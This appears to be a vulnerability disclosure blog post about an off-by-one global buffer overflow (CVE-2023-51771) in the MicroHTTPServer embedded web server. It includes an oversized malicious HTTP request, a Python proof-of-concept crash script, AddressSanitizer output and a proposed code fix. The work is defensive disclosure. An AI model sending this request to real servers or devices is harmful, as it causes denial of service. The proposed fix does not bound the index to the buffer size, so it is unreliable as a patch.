Unraveling a Subtle Yet Critical Vulnerability
In the ever-evolving landscape of cybersecurity, certain vulnerabilities, though seemingly minor, can open the door to significant security breaches. At Halcyonic Research, our team has delved deep into the nuances of one such issue: the off-by-one global buffer overflow. This vulnerability, while often overlooked due to its subtlety, presents a real threat to software security. In this post, we are going to navigate the intricacies of off-by-one global buffer overflows and walk through the process of discovering an occurrence of this vulnerability in MicroHTTPServer, a simple HTTP server used in embedded systems and desktop applications. The off-by-one global buffer overflow discovered in MicroHTTPServer was responsibly disclosed to the appropriate development team and assigned CVE-2023-51771.
Understanding the Off-by-One Error
An off-by-one error occurs when a program attempts to manage more data than its allocated buffer can accommodate, but only by a single byte. This might seem trivial, but even this one-byte overflow can corrupt adjacent memory, leading to unpredictable behavior or, in worst-case scenarios, a system compromise. Off-by-one errors can be challenging to identify because they often result in subtle and hard-to-predict issues. They are a common source of bugs, including buffer overflows, segmentation faults, and incorrect program behavior.
The Global Buffer Overflow: A Wider Impact
Unlike a local buffer overflow that affects only the current function’s memory space, a global buffer overflow has the potential to corrupt data across the entire program. This can lead to more extensive and damaging impacts, as the corrupted data might influence multiple processes or operations within the application. Here is a simple example in the C programming language demonstrating another off-by-one global buffer overflow:
#include <stdio.h>
char global_string[5] = "Hello";
int global_variable = 5;
int main() {
for (int i = 0; i <= global_variable; i++) { // Off-by-one error
global_string[i] = 'X';
}
printf("Modified string: %s\n", global_string);
return 0;
}
- We declare a global character array
global_string
with an initial value of “Hello.” The array has a size of 5 characters:
character 0 = ‘h’
character 1 = ‘e’
character 2 = ‘l’
character 3 = ‘l’
character 4 = ‘o’ - We declare a global integer variable
global_variable
with a value of 5. - We use a for loop to iterate from
i = 0
toi <= global_variable
. However, this condition introduces an off-by-one error because it includes the value ofglobal_variable
in the loop. Iteration 5 will write to an undefined memory location and the program will likely crash:
Iteration 0: ‘h’ replaced with the value ‘X’
Iteration 1: ‘e’ replaced with the value ‘X’
Iteration 2: ‘l’ replaced with the value ‘X’
Iteration 3: ‘l’ replaced with the value ‘X’
Iteration 4: ‘o’ replaced with the value ‘X’
Iteration 5: ??? replaced with the value ‘X’
Off-by-one errors in loops can lead to unintended consequences, especially when they involve writing data to memory. In this case, it overwrote characters in the global_string
beyond the intended range. Developers should carefully review loop conditions to avoid such errors.
Case Study: A Real-World Scenario
I analyzed a real-world application named MicroHTTPServer, where an off-by-one error in a global buffer caused a cascade of failures. The application, which processed network data packets, mistakenly allowed an extra byte in its buffer. This seemingly minor oversight led to the corruption of adjacent memory locations, eventually resulting in a denial of service condition.
A denial of service (DoS) is a cybersecurity weakness that can be exploited by malicious actors to disrupt the normal functioning of a computer system, network, or online service. In a DoS attack, the attacker overwhelms the target with a flood of traffic, requests, or malicious input, rendering it unable to respond to legitimate user requests. This disruption can lead to downtime, loss of service availability, and financial losses for organizations. In the case of MicroHTTPServer, a malicious HTTP request sent to the application by an attacker could invoke the off-by-one vulnerability and crash the server, resulting in a denial of service.
The official MicroHTTPServer documentation states, “One of the major purposes [of MicroHTTPServer] is that it can be ported on an embedded system (including micro controller unit level).” Typically microcontrollers and embedded systems are utilized for various tasks such as home automation, robotics, data logging, wearable technology, and environment logging. If a malicious attacker happened to come across an embedded device using MicroHTTPServer, this particular off-by-one vulnerability could crash the device and prevent any other operations from executing.
Proof of Concept Exploit
The global buffer overflow happens at roughly 15330 bytes in the HTTP request URI when reading from the network socket. Any server or embedded application that utilizes MicroHttpServer is potentially at risk of a Denial of Service or remote code execution, depending on the implementation. For example, a typical HTTP GET request looks similar to the following:
GET /index.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.halcyonic.net
...
...
A malicious request that I crafted and forwarded to a running MicroHTTPServer instance resembles the following. Note that the request URI is roughly 20,000 characters long, invoking the off-by-one vulnerability:
GET /???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.halcyonic.net
...
...
Makefile Modifications
The following modifications were made to the Makefile to compile the server with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the global buffer overflow:
PROJ=microhttpserver
CC=gcc
INCLUDES=-Ilib
DEFS=-D_PARSE_SIGNAL_ -D_PARSE_SIGNAL_INT_ -DDEBUG_MSG -DENABLE_STATIC_FILE=1
CFLAGS=-Os -Wall -fsanitize=address -g
SRCS=main.c app.c lib/server.c lib/middleware.c
all:
$(CC) $(SRCS) $(INCLUDES) $(DEFS) $(CFLAGS) -o $(PROJ)
clean:
rm -rf *.out *.bin *.exe *.o *.a *.so *.list *.img test build $(PROJ)
Compiling MicroHTTPServer
After modifying the Makefile (located at MicroHTTPServer/c-version/Makefile), the project can be compiled by executing the following commands on the command line:
cd c-version
make
./microhttpserver
Proof of Concept Python3 Script
Next, I saved the following script to a file named poc.py. The script will send a malicious HTTP request with a malformed URI (similar to the example above) to MicroHTTPServer and wait for a response:
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8001))
sock.send(b"GET "+b"?"*20000+b"HTTP/1.1\r\nHost: localhost:8080\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\n\r\n\r\n")
response = sock.recv(4096)
sock.close()
Starting MicroHttpServer
$ ./microhttpserver
Executing our Python3 Script
$ python3 poc.py
Address Sanitizer Output
The following output is produced by address sanitizer, confirming the existence of the global buffer overflow. AddressSanitizer (ASan) is a memory error detector tool used for identifying memory-related bugs in software programs. It is primarily designed to catch memory corruption issues, such as buffer overflows, use-after-free errors, and memory leaks, which can lead to security vulnerabilities or program crashes:
Listening
Accept 1 client. 127.0.0.1:35914
Parse Header
Parse body
==64923==ERROR: AddressSanitizer: global-buffer-overflow on address 0x562a42525280 at pc 0x7f04c7e61c0e bp 0x7ffc20182f30 sp 0x7ffc201826f0
WRITE of size 1 at 0x562a42525280 thread T0
#0 0x7f04c7e61c0d in __interceptor_recv ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:6942
#1 0x562a42519ace in _ParseHeader lib/server.c:208
#2 0x562a4251a10d in _HTTPServerRequest lib/server.c:312
#3 0x562a4251a4e8 in HTTPServerRun lib/server.c:350
#4 0x562a425183c9 in main /home/kali/projects/fuzzing/MicroHttpServer/c-version/main.c:27
#5 0x7f04c7c456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#6 0x7f04c7c45784 in __libc_start_main_impl ../csu/libc-start.c:360
#7 0x562a42518460 in _start (/home/kali/projects/fuzzing/MicroHttpServer/c-version/microhttpserver+0x2460) (BuildId: 7a38294e12666b46f7a8a2489c7f70bad764ec62)
0x562a42525280 is located 32 bytes before global variable 'http_req' defined in 'lib/server.c:35:9' (0x562a425252a0) of size 4080
0x562a42525280 is located 0 bytes after global variable 'req_buf' defined in 'lib/server.c:36:9' (0x562a42521680) of size 15360
SUMMARY: AddressSanitizer: global-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:6942 in __interceptor_recv
Shadow bytes around the buggy address:
0x562a42525000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x562a42525280:[f9]f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==64923==ABORTING
Interpreting the Address Sanitizer Output
From the output, we can determine the following two facts:
1. A global buffer overflow occurred in the application causing it to crash:
==64923==ERROR: AddressSanitizer: global-buffer-overflow on address 0x562a42525280 at pc 0x7f04c7e61c0e bp 0x7ffc20182f30 sp 0x7ffc201826f0
WRITE of size 1 at 0x562a42525280 thread T0
2. The location of the global buffer overflow can be traced back to the source code file lib/server.c in the function _ParseHeader, line 208:
#1 0x562a42519ace in _ParseHeader lib/server.c:208
Mitigation
A potential fix would be to modify the loop so it executes one less time than it currently does. By executing the loop one less time, the application no longer writes past the appropriate bounds of the global buffer.
Global overflow vulnerability:
for(; n>0; i++) {
n = recv(clisock, p + i, 1, 0);
if(p[i] == ' ') {
p[i] = '\0';
break;
}
}
Modified code preventing a buffer overflow:
for(; n>1; i++) {
n = recv(clisock, p + i, 1, 0);
if(p[i] == ' ') {
p[i] = '\0';
break;
}
}
The Halcyonic Research Approach
At Halcyonic Research, we believe in proactive defense. Our approach involves:
- Advanced Training: Educating developers about common pitfalls in buffer management and secure coding practices.
- Innovative Tool Development: Creating and refining tools that can better detect subtle vulnerabilities like off-by-one errors.
- Collaborative Research: Partnering with other industry experts to share knowledge and develop comprehensive security solutions.
The Off-by-One Global Buffer Overflow, while less dramatic than other security vulnerabilities, requires equal vigilance. In the complex tapestry of cybersecurity, it’s often these small, intricate patterns that can unravel the broader picture of software security. At Halcyonic Research, we are committed to staying at the forefront of identifying and mitigating such nuanced vulnerabilities, ensuring a safer digital world for everyone. If you are interested in learning how to discover and patch zero-day vulnerabilities, check out Zero-Day Fundamentals!
No responses yet